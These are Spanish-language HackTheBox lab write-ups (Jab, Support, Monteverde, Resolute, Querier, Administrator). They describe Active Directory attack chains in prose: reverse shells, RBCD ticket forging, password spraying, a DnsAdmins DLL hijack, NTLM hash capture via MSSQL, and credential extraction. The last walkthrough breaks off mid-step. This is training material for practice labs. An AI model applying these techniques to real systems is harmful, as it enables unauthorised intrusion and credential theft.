Comprobaremos que buscando nuevas salas con este usuario, nos aparece una nueva sala nombrada "pentest2003", probaremos de acceder a la nueva sala.
En la nueva sala, aparece una conversación en la cual realizan un Ticket Granting Service (TGS) y crackean la contraseña de un usuario "svc_openfire".
Este es el final de la conversación en la cual logran crackear la contraseña.
Validaremos si estas credenciales son válidas para el usuario para autenticarse al SMB o WInRM. Comprobamos que las credenciales si son válidas pero aún no podemos acceder mediante WinRM al terminal.
Como disponemos de credenciales válidas, procederemos a realizar una enumeración con BloodHound para ver vías potenciales para escalar nuestros privilegios.
Comprobamos que el usuario "svc_openfire" tiene permisos de "ExecuteDCOM" sobre el equipo DC01.jab.htb.
BloodHound nos explica en qué consiste que el usuario forme parte de dicho permiso.
Cuando un usuario tiene permisos de DCOM (Distributed Component Object Model) sobre un equipo, esto le permite controlar y ejecutar aplicaciones distribuidas en ese sistema desde una ubicación remota. En otras palabras, puede acceder a ciertos servicios y funcionalidades de la máquina objetivo de forma remota, lo que es útil en escenarios de administración o monitoreo en red.
Este primer comando inicia una sesión DCOM en la máquina objetivo (10.10.11.4) usando las credenciales del usuario svc_openfire del dominio jab.htb, establecemos la conexión inicial sin ejecutar ningún comando en específico, solo para acceder al sistema con esas credenciales. Nos muestra un error, esto seguramente por el tipo de DCOM que está utilizando, el que se utiliza por defecto es (ShellWindows) pero podemos probar otros DCOM.
En este segundo comando, ejecutamos un ping hacia nuestra Kali. Probamos el objeto DCOM "MMC20", que es una interfaz que permite la ejecución remota de comandos a través de DCOM. La opción -silentcommand evita que el comando muestre salida en la pantalla, haciendo que la ejecución sea más discreta. Des de otra terminal nos pondremos en escucha con tcpdump para ver si se ha realizado el Ping des de la máquina víctima a nuestra máquina, para así saber si podemos ejecutar comandos.
Tip: probar otros objetos DCOM (impacket-dcomexe) {ShellWindows, ShellBrowserWindow,MMC20}
Comprobado que podemos ejecutar comandos a través de la ejecución de DCOM, lo que haremos es ejecutar una Reverse Shell. Nos copiaremos el script de Invoke-PowerShellTcpOneLine.ps1 de nishang a nuestro directorio actual de trabajo.
Editaremos el archivo para establecer la dirección IP de nuestra Kali y el puerto donde estaremos en escucha. Seguidamente el script lo codificaremos en Base64 de Windows (ya que si utilizamos el Base64 de Kali, no funcionará).
Enviaremos el comando de ejecución DCOM de la Reverse Shell en PowerShell encodeado en Base64. Nos pondremos en escucha por el puerto que hemos indicado en el Script y al enviar el DCOM con impacket-dcomexec comprobamos que ganamos acceso.
Comprobaremos que ganamos acceso a la máquina, revisando qué programas existene en el equipo, comprobamos que hay una carpeta nombrada "Openfire".
Iremos accediendo a los directoriso de Openfire para ver si encontramos alguna información interesante.
Comprobamos en el archivo de configuración del Openfire, comprobamos que menciona el puerto 9090.
Revisando que puertos tenemos abiertos en la máquina Windows, comprobamos que tenemos un puerto interno 9090, que en principio debería ser el del Openfire.
Debido que el puerto 9090 es un puerto interno de la máquina Windows y des de nuestra Kali no tendríamos acceso, realizaremos un Port-Forwarding a través de Chisel para llegar al puerto interno de la máquina.
Descromprimiremos los archivos y al nuestro de Kali le daremos permisos de ejecución.
En una terminal de nuestra Kali, levantaremos un servidor web con Python para compartirnos el archivo chisel.exe a la máquina Windows, con certutil nos lo descargaremos en un directorio que tengamos permisos.
Configuraremos que nuestra Kali actúe como servidor de chisel por el puerto p.e 1234, y que la máquina Windows actúe el chisel como cliente y se conecte al servidor y le indique que su puerto 9090 será el puerto 9090 de la Kali.
Para hacer este exploit, necesitamos tener un usuario Administrator del panel de Openfire, en el caso de no disponerlo, nos indica como crear uno.
En nuestro caso el usuario con el que hemos accedido (svc_openfire) es usuario Administrator.
Subiremos el plugin en el apartado de "Plugins".
Verificaremos que se ha subido correctamente.
Accederemos al apartado de "Server Settings" y le daremos a "Management Tool"
Accederemos al panel de administración poniendo "123".
Probaremos de ejecutar un comando, por ejemplo "whoami" y comprobamos que el usuario que levanta el servicio de Openfire es el de "NT Authority\SYSTEM".
Nos pondremos en escucha por el puerto 443.
Y le enviaremos el comando de PowerShell encodeado en BAse64 para conseguir una Reverse Shell
Comprobamos que ganamos acceso como usuario Administrator y localizamos la flag de root.txt
Support
es una máquina Windows de dificultad Fácil que cuenta con un recurso compartido SMB
que permite la autenticación anónima. Después de conectarse al recurso compartido, se descubre un archivo ejecutable que se utiliza para consultar al servidor LDAP
de la máquina los usuarios disponibles.
A través de ingeniería inversa, análisis de red o emulación, se identifica la contraseña que utiliza el binario para vincular el servidor LDAP
y se puede utilizar para realizar más consultas LDAP
. Se identifica un usuario llamado support
en la lista de usuarios y se descubre que el campo info
contiene su contraseña, lo que permite una conexión WinRM a la máquina. Una vez en la máquina, se puede recopilar información del dominio a través de SharpHound
y BloodHound
revela que el grupo Shared Support Accounts
del que es miembro el usuario support
tiene privilegios GenericAll
en el controlador de dominio. Se realiza un ataque de delegación restringida basada en recursos y se recibe un shell como NT Authority\System
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Support.
Lanzaremos una serie de scripts básicos para intentar buscar vulnerabilidades en los puertos que hemos encotrado expuestos.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Procederemos a enumerar el servicio de SMB que hemos encontrado expuesto. Probaremos de listar los recursos compartidos para ver que encontramos. Nos descargaremos todo el contenido
Procederemos a conectarnos al recurso compartido (support-tools) y nos descargaremos todo el contenido del recurso compartido a nuestro equipo local.
Comprobamos que entre los archivos que hemos descargado
Abriremos el binario en la aplicación mencionada y iremos investigando como funciona por debajo la aplicación que hemos encontrado. Nos damos cuenta que en el archivo "LdapQuery" parece que se obtiene una contraseña a través de la función getPassword() del archivo Protected en el cual se utiliza el usuario parece ser (support\ldap).
Accediendo al contenido del archivo Protected nos damos cuenta que se envía una contraseña encodeada.
Volveremos al archivo de LdapQuery y haremos un breakpoint en el punto indicado y debuguearemos pasándole argumentos para la ejecución del programa.
Comprobaremos en la zona inferior que obtuvimos una variable nombrada password pero no nos aparece ningún contenido. Procederemos a debuguear el programa (Debug < Step Over) para ir al siguiente paso.
Comprobamos que al ir al siguiente paso en la variable password se almacena un valor que parece ser una contraseña sin encodear.
Comprobaremos en nuestra Kali utilizando la herramienta de netexec de ver si las credenciales obtenidas son válidas para el usuario ldap que es el que aparecía en el código del .exe analizado.
Una de las maneras que disponemos de enumerar el LDAP del servidor es mediante la herramienta de ldapdomaindump.
Otra de las maneras para enumerar LDAP, es a través del comando ldapsearch en el cuál podemos ir enumerando usuario por usuario a través del siguiente comando.
El siguiente comando procederemos a enumerar al usuario "support" para ver que información tiene. Nos damos cuenta que en el campo "Info" aparece una cadena de texto que parece inusual, más bien, parace de tratarse de una contraseña.
Una de las mejores maneras de enumerar LDAP es a través de BloodHound el cual recolectando toda la información del dominio podemos montarnos una BBDD con todo el dominio y ver que vías potenciales disponemos para escalar privilegios, etc.
Ene ste caso enumeramos des de Bloodhound al usuario "support" y nos damos cuenta que pertenece al grupo de usuarios de gestión remota, es decir "Remote Management Users". Por lo tanto, es un buen indicio que con dicho usuario podemos conectarnos al WinRM que encontramos expuesto a la hora de escanear los puertos con nmap.
Procederemos de validar con netexec de que con el usuario support y las credenciales encontradas en el campo "Info" de su usuario de LDAP són válidas o no para el acceso al WinRM.
Comprobamos que nos aparece como Pwn3d, por lo tanto, comprobamos que son credenciales válidas y además que tenemos acceso al WinRM, ya que si no tuvieramos acceso al WinRM, nos habría salido en [+] (indicando que las credenciales son válidas), pero no nos hubiera indicado el Pwn3d.
Una vez comprobado que si tenemos acceso, procederemos a conectarnos a la máquina víctima con el usuario "support" y sus respectivas credenciales. Comprobaremos que ganamos acceso y vemos el contenido de la flag de user.txt.
Procerderemos a enumerar al usuario "support" y comprobar de qué grupos es miembro. Nos damos cuenta que es miembro del grupo "Shared Support Accounts", un grupo un tanto inusual que miraremos de qué trata.
Des de Bloodhound buscaremos al grupo "Shared Support Accounts" y en "Node Info" haremos clickl a "Reachable High Value Targets" para intentar ver objetivos alcanzables de alto valor que podamos utilizar para escalar privilegios.
Comprobamos que existe relación entre el grupo "Shared Support Accounts" y si le damos a "Help" comprobamos que Bloodhound nos indica que todos los miembros de dicho grupo tiene control total sobre el equipo indicado.
Si accedemos a "Windows Abuse", Bloodhound nos mostrará unas pautas para intentar explotar la vulnerabilidad (RBCD Attack).
Un ataque de RBCD (Resource-Based Constrained Delegation) se aprovecha de la delegación basada en recursos en entornos de Active Directory para obtener acceso privilegiado. Este tipo de ataque usa la capacidad de un objeto en Active Directory para delegar acceso a otro recurso en el sistema, sin intervención administrativa directa.
En un escenario típico, el atacante compromete una cuenta que puede modificar ciertos atributos, como la propiedad de delegación en un objeto de computadora. Luego, configura ese objeto para que pueda autenticarse como cualquier usuario en un recurso específico, por ejemplo, para obtener el Ticket Granting Ticket (TGT) de una cuenta privilegiada y, así, escalar permisos.
Primero de todo, en nuestra Kali procederemos a descargarnos el Powermad para pasarlo al equipo que queremos comprometer des de Evil-WinRM.
Des del equipo que queremos comprometer, procederemos a subirnos el archivo .ps1, importaremos el módulo y procederemos a realizar el ataque.
Procederemos a crear con Powermad un equipo llamado "SERVICEA" y le asignaremos de contraseña '123456'
Procederemos a descargarnos PowerView a nuestra Kali, la pasaremos al equipo víctima e importaremos el módulo para tener los comandos disponibles.
Comprobaremos que el objeto de ordenador que hemos creado "SERVICEA" se ha creado correctamente. Comprobamos que se ha creado sin problemas y tenemos el SID del objeto, lo cual es su identificador.
Procederemos a realizar lo que nos queda para finalizar el RCBD Attack.
Al configurar el atributo ´msds-allowedtoactonbehalfofotheridentity'
en el objeto de ordenador 'SERVICEA'
, le otorgamos la capacidad de actuar en nombre de otros usuarios dentro del controlador de dominio (dc). Este proceso se basa en la delegación de recursos (RBCD), que permite que un equipo pueda solicitar acceso a ciertos recursos como si fuera otro usuario.
Específicamente, al aplicar este cambio, SERVICEA
obtiene permisos para solicitar un Ticket Granting Ticket (TGT) en nombre de otras cuentas, incluyendo aquellas con permisos elevados. En un entorno de ataque, este TGT permite que SERVICEA
acceda a servicios o realice acciones en el dominio como si fuera el usuario original, logrando así una impersonación dentro del controlador de dominio.
Utilizaremos el siguiente comando para conseguir el Hash NTLM del equipo SERVICEA
en el dominio de support.htb, le pasaremos la contraseña que hemos configurado anteriormente al crear el equipo en el dominio. Comprobaremos que obtenemos el hash, el que nos interesa es el de rc4_hmac.
Este comando en Rubeus
permite realizar una impersonación de usuario mediante la función S4U (Service for User) en un ataque de delegación basada en recursos (RBCD), utilizando el hash NTLM de la cuenta SERVICEA$
.
Al ejecutarlo, Rubeus
solicita un Ticket Granting Service (TGS) para el usuario administrator
en el servicio cifs
del controlador de dominio (dc.support.htb
), pero empleando los privilegios de la cuenta SERVICEA$
. Esto permite que SERVICEA$
actúe en nombre de administrator
, logrando así la impersonación del usuario con privilegios elevados y proporcionando acceso al controlador de dominio como si fuera administrator
.
En pocas palabras, este comando usa los permisos de delegación configurados en SERVICEA$
para operar con los mismos privilegios de administrator
en el dominio, asegurando un acceso privilegiado a los recursos.
Comprobamos que nos otorga el tiquet Kirbi codeado en Base64. Copiaremos el contenido del ticket.
En nuestra Kali, copiaremos el contenido del ticket en un archivo nombrado "ticket.kirbi.b64". Lo descodificaremos de Base64 y guardaremos el archivo como "ticker.kirbi".
Utilizaremos ticketConverter.py, este comando convierte un ticket kirbi
en un ccache
, lo que permite su uso en diferentes entornos y herramientas que gestionan la autenticación Kerberos.
En este comando, establecemos la variable de entorno KRB5CCNAME
para que apunte al archivo de caché de tickets Kerberos (ticket.ccache), que contiene el ticket que obtuvimos anteriormente. Luego, ejecutamos psexec.py, lo que nos permite acceder a la máquina remota usando Kerberos para la autenticación (especificando -k), sin necesidad de proporcionar una contraseña (gracias a -no-pass).
Al especificar support.htb/administrator@dc.support.htb
, logramos ejecutar comandos en el controlador de dominio con los privilegios del usuario administrator. Esto nos facilita el acceso a recursos y funciones del sistema con permisos elevados, culminando así el ataque RBCD de manera efectiva.
Comprobamos que ganamos acceso finalmente como usuario Administrador y obtenemos la flag de root.txt.
Soy un estudiante de ciberseguridad. Este sitio lo he creado con la intención de compartir mis write-ups de HackTheBox, un lugar donde paso gran parte de mi tiempo aprendiendo, resolviendo retos y, sobre todo, divirtiéndome mientras exploro nuevos conocimientos.
Aquí encontrarás mis experiencias y enfoques para resolver máquinas, desde la enumeración inicial hasta la escalada de privilegios. No pretendo que sea una guía perfecta, pero sí algo útil para quienes están en este mundo o quieren iniciarse. A fin de cuentas, lo que más me importa es seguir aprendiendo y compartir lo que sé con la comunidad.
Cuando no estoy resolviendo retos, me gusta investigar nuevas técnicas, probar herramientas y disfrutar de los pequeños logros que vienen con cada desafío resuelto. Si llegaste hasta aquí, espero que encuentres algo que te sirva o que te inspire a seguir mejorando.
¡Gracias por pasarte por aquí! 😊
Monteverde
es una máquina Windows mediana que cuenta con Azure AD Connect
. Se enumera el dominio y se crea una lista de usuarios. A través de la pulverización de contraseñas, se descubre que la cuenta de servicio SABatchJobs
tiene el nombre de usuario como contraseña. Con esta cuenta de servicio, es posible enumerar los recursos compartidos de SMB en el sistema y se descubre que el recurso compartido $users
es legible para todo el mundo.
Se encuentra un archivo XML utilizado para una cuenta de Azure AD
dentro de una carpeta de usuario y contiene una contraseña. Debido a la reutilización de contraseñas, podemos conectarnos al controlador de dominio como mhope
mediante WinRM
. La enumeración muestra que Azure AD Connect
está instalado. Es posible extraer las credenciales de la cuenta que replica los cambios de directorio en Azure (en este caso, el administrador de dominio predeterminado).
Proceremos a realizar un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Monteverde.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Procederemos a realizar una enumeración utilizando rpcclient conectándonos en una null session y enumerando a los usuarios. Comprobamos que tenemos acceso y procederemos a que a través de expresiones regulares formatear la salida para que solamente nos muestre los nombres de usuario. Guardaremos el contenido en el archivo "users".
Teniendo una lista de nombres de usuarios válidos, nos planteamos en realizar un ASREPRoast Attack, pero no obtenemos ningún resultado, debido que ningún usuario tiene el (DONT_REQ_PREAUTH) de Kerberos.
Procederemos a realizar un ataque de fuerza bruta utilizando crackmapexec para que valide por SMB si el listado de usuarios que le pasamos, alguno tiene de contraseña el mismo nombre de usuario. Comprobamos que obtenemos que el usuario "SABatchJobs" tiene de contraseña su mismo nombre de usuario.
Comprobaremos con netexec de que se puede acceder al SMB con las credenciales encontradas.
Guardaremos las credenciales obtenidas en el archivo "credentials.txt".
Procederemos a listar todos los recursos compartidos que tenemos acceso con el usuario "SABatchJobs". Comprobamos que tenemos acceso a una serie de recursos.
Procederemos a conectarnos al recurso compartido "users$" y nos descargaremos todo el contenido del recurso.
Comprobaremos que dentro del recurso compartido había un archivo llamado "azure.xml". Revisando el contenido de dicho archivo, aparece una contraseña en texto plano.
Procederemos a realizar un ataque de fuerza bruta a todo el listado de usuarios que disponemos para verificar si uno de ellos le corresponde la contraseña encontrada en el archivo.xml.
Finalmente comprobamos que el usuario "mhope" su correspondiente credencial es la encontrada.
Guardaremos las nuevas credenciales en "credentials.txt"
Probaremos con netexec de probar con el usuario "mhope" y la contraseña encontrada de ver si tiene acceso al WinRM. Comprobamos que nos reporta como Pwn3d. Por lo tanto, nos indica que efectivamente podemos acceder al WinRM con dichas credenciales.
Probaremos de acceder con evil-winrm y las credenciales que disponemos y comprobamos del acceso y de la flag de user.txt.
Teniendo acceso, comprobaremos de qué tipo de permisos dispone el usuario, en este caso, ninguno que nos pueda servir para realizar un PrivEsc.
Revisando los usuarios a los que pertenece el usuario con el que estamos "mhope" nos percatamos de que forma parte del grupo "Azure Admins", veremos si este grupo nos puede servir para explotarlo.
Accederemos a la raíz C:\ y comprobaremos dentor de "C:\Program Files" de que existe un directorio llamado "Azure AD Sync". Esto se puede llegar a convertir un vector para poder elevar nuestros privilegios dependiendo de la versión que se ejecute, etc.
Nos dirigiremos al directorio mencionado y procederemos a ejecutar el "AdDecrypt.exe" que lo disponemos en C:\Windows\Temp y de argumento le pasaremos -FullSQL
Comprobamos que nos muestra la contraseña del usuario "Administrator".
Probaremos con netexec de validar que el usuario Administrator y las credenciales encontradas se pueden conectar al WinRM. Comprobamos que nos aparece como Pwn3d.
Procederemos a conectarnos con evil-winrm al equipo mencionado con las credenciales del usuario Administrator y comprobaremos que ganamos acceso y localizamos la flag de root.txt.
Resolute
es una máquina Windows de dificultad fácil que cuenta con Active Directory. El enlace anónimo de Active Directory se utiliza para obtener una contraseña que los administradores de sistemas establecen para las nuevas cuentas de usuario, aunque parece que la contraseña de esa cuenta ha cambiado desde entonces. Un password spraying revela que esta contraseña todavía está en uso para otra cuenta de usuario de dominio, lo que nos da acceso al sistema a través de WinRM
.
Se descubre un registro de transcripción de PowerShell, que ha capturado las credenciales pasadas en la línea de comandos. Esto se utiliza para moverse lateralmente a un usuario que es miembro del grupo DnsAdmins
. Este grupo tiene la capacidad de especificar que el servicio DNS Server cargue una DLL de complemento. Después de reiniciar el servicio DNS, logramos la ejecución del comando en el controlador de dominio en el contexto de NT_AUTHORITY\SYSTEM
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Resolute.
Lanzaremos una serie de scripts básicos para intentar buscar vulnerabilidades en los puertos que hemos encotrado expuestos.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Como hemos visto que el RPC se encontraba expuesto (puerto 593), probaremos de intentar conectarnos haciendo uso de la herramienta rpcclient a través de un null session. Confirmamos que podemos acceder sin problemas.
Procederemos a hacer uso de la herramienta de NSrpcenum para realizar una enumeración del RPC a través de una null session.
El primer paso será enumerar todos los usuarios del dominio y guardarlos en "users.txt".
Verificaremos usuariso que dispongan de descripción, nos damos cuenta que aparece que el usuario "marko" tiene una descripción indicando que la contraseña es: Welcome123!
Con las credenciales encontradas, probaremos de comprobar si son válidas para el usuario "marko". Verificamos que las credenciales no son correctas para dicho usuario.
Probaremos de comprobar si esta contraseña es válida para uno de los usuarios que tenemos en nuestro archivo "users.txt".
Verificamos que la contraseña es válida para la usuaria "melanie".
Guardaremos las credenciales en nuestro archivo "credentials.txt".
Debido que disponemos de una buena cantidad de usuarios válidos, probaremos de realizar un AS-REP Roasting Attack de usuarios que dispongan del (DONT_REQ_PREAUTH) de Kerberos.
En este caso, ninguno disponía de dicha configuración.
Teniendo un usuario válido con sus credenciales, procederemos a intentar realizar un Kerberoast Attack, comprobamos que no obtenemos ningún Ticket Granting Service (TGS).
Verificaremos si con estas credenciales podemos conectarnos al WinRM del equipo, comprobamos que nos aparece como Pwn3d lo que nos confirma el acceso.
Procederemos a conectarnos con las credenciales de "melanie" y verificaremos la flag de user.txt.
Revisando el equipo comprobamos que habían dos directorios ocultos con un archivo oculto.
Comprobando el contenido del archivo .txt, comprobamos que aparece una línea de ejecución de comandos en la cual el usuario "ryan" estaba realizando el mapeo de una unidad de red y aparece su respectiva contraseña en texto plano.
Teniendo supuestamente unas nuevas credenciales, probaremos de comprobar si podemos pivotar entre usuarios.
Comprobamos que las credenciale son válidas, disponemos del mismo acceso de los recursos SMB y de que podemos conectarnos al WinRM.
Procederemos a conectarnos con el usuario "ryan" al servicio de WinRM a través de evil-winrm.
Revisando los permisos y grupos del usuario "ryan", nos damos cuenta que somos miembros del grupo "DnsAdmins".
El formar parte de este grupo, puede ser un vector para realizar una escalada de privilegios.
En nuestra terminal de Kali, procederemos a crear un payload con msfvenom de una Reverse Shell a nuestro equipo en formato DLL, de nombre de archivo le pondremos "pwn.dll".
Habilitaremos un servidor SMB del directorio actual de trabajo (donde tengamos el DLL malicioso) y des de otra terminal nos pondremos en escucha por el puerto configurado en la Reverse Shell.
Des de la terminal de Windows que disponemos, procederemos a realizar la explotación del PrivEsc.
Agregaremos una DLL especialmente diseñada como complemento del servicio DNS, que será nuestro payload. Una vez realizada la configuración, deberemos de parar el servicio DNS y volverlo a iniciar para así obtener la Reverse Shell en nuestra terminal.
Es posible que debamos repetir el proceso de parar e iniciar el servicio de DNS varias veces hasta obtener la Reverse Shell.
Comprobamos que nos hemos autenticado como usuario Administrator y verificamos la flag de root.txt.
Querier
es un sistema operativo Windows de dificultad media que tiene una hoja de cálculo de Excel en un recurso compartido de archivos legible para todo el mundo. La hoja de cálculo tiene macros que se conectan al servidor MSSQL
que se ejecuta en el sistema. El servidor SQL se puede utilizar para solicitar un archivo a través del cual se pueden filtrar y descifrar los hashes NetNTLMv2
para recuperar la contraseña de texto sin formato. Después de iniciar sesión, se puede utilizar PowerUp
para buscar las credenciales de administrador en un archivo de política de grupo almacenado en caché local.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Querier.
Lanzaremos una serie de scripts básicos para intentar buscar vulnerabilidades en los puertos que hemos encotrado expuestos.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Comprobaremos a qué tipo de máquina nos enfrentamos a través de netexec, nos muestra que puede ser un Windows 10 o Windows Server 2019
Procederemos a enumerar el servicio de SMB que hemos encontrado expuesto. Probaremos de listar los recursos compartidos para ver que encontramos.
Procederemos a conectarnos al recurso compartido nombrado "Reports" y nos descargaremos todo el contenido de dicho recurso en nuestro equipo local.
Comprobamos que disponía de un archivo .xlsm, que corresponde a un Excel. Abriendo el Excel con LibreOffice, comprobamos que nos salta un mensaje informando que este documento contiene Macros.
Procederemos a inspeccionar el contenido de las macros del documento con la herramienta de olevba. Comprobamos que en las macros aparece el nombre de un usuario y unas credenciales.
Guadaremos las credenciales encontradas para verificar si son válidas o no.
Con la herramienta de netexec intentaremos autenticarnos al SMB con las credenciales encontradas, con el primer comando no hemos podido establecer conexión, poniendo que es una cuenta de equipo (-d WORKGROUP) nos confirma que las credenciales son válidas.
Por lo tanto, podemos saber que este usuario es un usuario del equipo y no de un dominio.
Probaremos de intentar comprobar si con dicho usuario tenemos acceso al WinRM, nos niega la conexión. Por lo tanto, el usuario no forma parte del grupo de Administración remota.
Como hemos visto que el servicio de MSSQL se encontraba expuesto (puerto 1433) probaremos de conectarnos. Con el primer comando no obtuvimos la conexión al servicio, pero indicándole que se autentique con (-window-auth) nos dejo acceder con dicho usuario.
Probaremos de intentar habilitar el componente de xp_cmdshell para así obtener un RCE (Remote Code Execution), pero comprobamos que con el usuario autenticado no disponemos de permisos para habilitar dicho componente.
En este punto lo que haremos es intentar abusar del componente xp_dirtree para obtener los hashes NTLMv2.
En nuestra Kali nos montaremos un servicio SMB y des la conexión de MSSQL procederemos a listar el contenido del recurso que estamos compartiendo, en nuestra Kali nos habrá llegado el Hash NTLMv2 de la cuenta de servicio que está consultando con xp_dirtree.
Comprobamos que obtuvimos el hash NTLMv2 del usuario "mssql-svc"
Nos guardaremos el hash obtenido en el archivo "hash.txt".
Procederemos a crackear el hash con la herramienta de john para así lograr saber qué contraseña pertenece a ese hash. Comprobamos que el hash ha sido crackeado y la contraseña correspondiente es: corporate568
Validaremos con netexec de que las credenciales encontradas son válidas para el usuario. Comprobamos que como usuario de dominio no nos indica que tenemos autenticación, pero indicándole que es un WORKGROUP si.
Probaremos de intentar revisar si tenemos acceso al WinRM con este nuevo usuario, sin exito tampoco.
Como esta cuenta parece ser la cuenta de servicio de MSSQL, probaremos de acceder al servicio con dichas credenciales. Comprobamos que también ganamos acceso con dicho usuario.
Con el usuario anterior que probamos no teníamos acceso a habilitar el componente xp_cmdshell, probaremos con este usuario de habilitar el componente.
Comprobamos que podemos habilitarlo y efectuar un RCE (Remote Code Execution)
Modificaremos el script y en la última línea añadiremos la siguiente línea para que así invoque el comando para otorgarnos la Reverse Shell a nuestro equipo por el puerto especificado.
En nuestra Kali, deberemos de levantar un servidor web con Python para compartir el archivo, des de otra terminal nos pondremos en escucha con nc por el puerto especificado en el script y des de la terminal donde hemos accedido anteriormente al MSSQL ejecutaremos con el componente xp_cmdshell la instrucción para que ejecute el comando de Powershell sobre el script que tenemos alojado en nuestra Kali.
Comprobamos que ganamos acceso al equipo en la terminal donde estabamos en escucha. Verificamos la flag de user.txt.
Probaremos de encontrar posibles vectores para realizar un PrivEsc y elevar nuestros privilegios como usuario Administrador.
Modificaremos el script y en la última línea añadiremos (Invoke-AllChecks) para así obtener toda la información de posibles vectores para escalar privilegios.
Nos montaremos un servidor web con Python para compartir dicho script y des de la terminal donde hemos ganado acceso al equipo, procederemos a ejecutar el script que tenemos alojado en nuestra Kali importándolo en memoria con IEX.
Así obtendremos un reporte completode vulnerabilidades potenciales y configuraciones inseguras que podemos aprovechar.
En el resultado del escaneo con PowerUp.ps1 comprobamos que tenemos el privilegio de (SeImpersonatePrivilege) lo que podríamos directamente impersonar al usuario "Administrator".
Y también vemos que ha encontrado un archivo .xml dentro del equipo en el cual disponía de las credenciales GPP del usuario Administrator, ya nos hace el (gpp -decrypt) y nos aparece la contraseña en texto plano.
Verificaremos que podemos acceder con las credenciales del usuario Administrator al WinRM. Le especificaremos que el domain es un WORKGROUP, sino nos dará error como en el primer comando.
Procederemos a conectarnos con evil-winrm al equipo con el usuario Adminsitrator y sus respectivas credenciales. Verificaremos la flag de root.txt.
Por otra parte, obtenida la contraseña del usuario Administrator, podemos dumpear todos los hashes de los usuarios del equipo a través de netexec para luego realizar un PassTheHash sin conocer las credenciales de los usuarios.
Probaremos con wrmiexec.y de acceder con el usuario Administrator y su respectivo hash NTLM al equipo, comprobamos que podemos acceder sin saber la contraseña del usuario Administrator. Esto lo podríamos realizar con el resto de usuarios que disponemos de su hash NTLM.
Administrador es una máquina Windows de dificultad media diseñada en torno a un escenario de compromiso de dominio completo, en el que se proporcionan las credenciales de un usuario con pocos privilegios. Para obtener acceso a la cuenta michael
, se enumeran las ACLs (Access Control Lists) sobre objetos privilegiados, lo que nos lleva a descubrir que el usuario olivia
tiene permisos GenericAll
sobre michael
, permitiéndonos restablecer su contraseña. Con acceso como michael
, se revela que puede forzar un cambio de contraseña en el usuario benjamin
, cuya contraseña se restablece. Esto da acceso a FTP
, donde se descubre un archivo backup.psafe3
, que se descifra y revela las credenciales de varios usuarios. Estas credenciales se esparcen por el dominio, revelando credenciales válidas para el usuario «Emily». Una enumeración más detallada muestra que emily
tiene permisos GenericWrite
sobre el usuario ethan
, lo que nos permite realizar un ataque Kerberoasting dirigido. El hash recuperado se descifra y revela credenciales válidas para ethan
, que se encuentra que tiene derechos DCSync
en última instancia, lo que permite la recuperación del hash de la cuenta Administrator
y el compromiso completo del dominio.
Proceremos a realizar un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Administrator.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Verificamos que hemos procedido a enumerar la lista de usuarios que se encuentran en el dominio de administrator.htb.
Guardaremos los usuarios del dominio enumerados en el archivo users.txt.
Debido que disponemos de una lista potencial de usuarios, probaremos a realizar un AS-REP Roast Attack para intentar obtener un Ticket Granting Ticket (TGT) para luego crackearlo de manera offline.
Comprobamos que no obtenemos ningún TGT debido que ningun usuario dispone del atributo (DONT_REQ_PREAUTH) de Kerberos.
Dado que tenemos credenciales de un usuario válido del dominio, procederemos a realizar un Kerberoasting Attack para intentar obtener un TGS (Ticket Granting Service) para posteriormente crackear de manera offline el hash obtenido.
En este caso, comprobamos que no encontramos a ningún usuario kerberosteable.
Con ldapdomaindump dumpearemos toda la información del LDAP a través del usuario y contraseña que disponemos. Nos generará los resultados en distintos formatos.
Revisando el archivo "domain_users.html" verificamos que el usuario que disponemos forma parte del grupo "Remote Management Users", con el cual podríamos conectarnos al DC a través de WinRM, PsExec, etc.
Procederemos a acceder al WinRM a través de evil-winrm con el usuario que nos proporciona HackTheBox y hemos comprobado que forma parte del grupo "Remote Management Users".
Realizaremos una enumeración con BloodHound a través de bloodhound-python.
Revisando vectores de ataque desde BloodHound, verificamos que a través del usuario que disponemos (olivia@administrator.htb) tiene privilegios de GenericAll sobre el usuario (michael@administrator.htb).
Esto significa que podemos realizar un cambio de contraseña al usuario objetivo, en este caso, como tenemos acceso a la máquina Windows, podemos realizar el "Windows Abuse".
Volveremos a la terminal del WinRM, importaremos el módulo de PowerView.ps1 que disponemos en nuestra Kali y procederemos a asignarle una nueva contraseña al usuario (michael@administrator.htb).
Verificaremos que se han modificado las credenciales de usuario (michael@administrator) a través de netexec. Comprobamos que se ha realizado el cambio y además nos aparece como pwn3d, lo cual indica que podemos conectarnos remotamente al DC.
Accederemos a través del WinRM con el nuevo usuario obtenido.
Volviendo a revisar el BloodHound en busca de realizar un lateral movement o elevar nuestros privilegios, comprobamos que el usuario que disponemos actualmente (michael@administrator.htb) tiene privilegios de ForceChangePassword sobre el usuario (benjamin@administrator.htb).
Con lo cual, podemos también cambiarle la contraseña al usuario objetivo.
Realizaremos el mismo proceso desde la terminal que tenemos iniciada sesión la cuenta de (michael@administrator.htb).
Importaremos en memoria el módulo de PowerView.ps1 y procederemos a realizar el cambio de la contraseña del usuario objetivo.
Verificaremos nuevamente las credenciales modificadas del usuario (benjamin@administrator.htb).
Además, anteriormente en la enumeración con nmap verificamos que se encuentra el puerto 21 (FTP) . Probaremos de acceder con las credenciales de este usuario para acceder al protocolo FTP.
Verificando el archivo descargado de FTP, verificamos que se trata de um archivo de "Password Safe V3 database", que es un gestor de contraseñas similar a KeePass.
Probando de abrir el archivo de la base de datos de las contraseñas a través de la aplicación "Password Safe", verificamos que nos pide credenciales para abrir el archivo en cuestión.
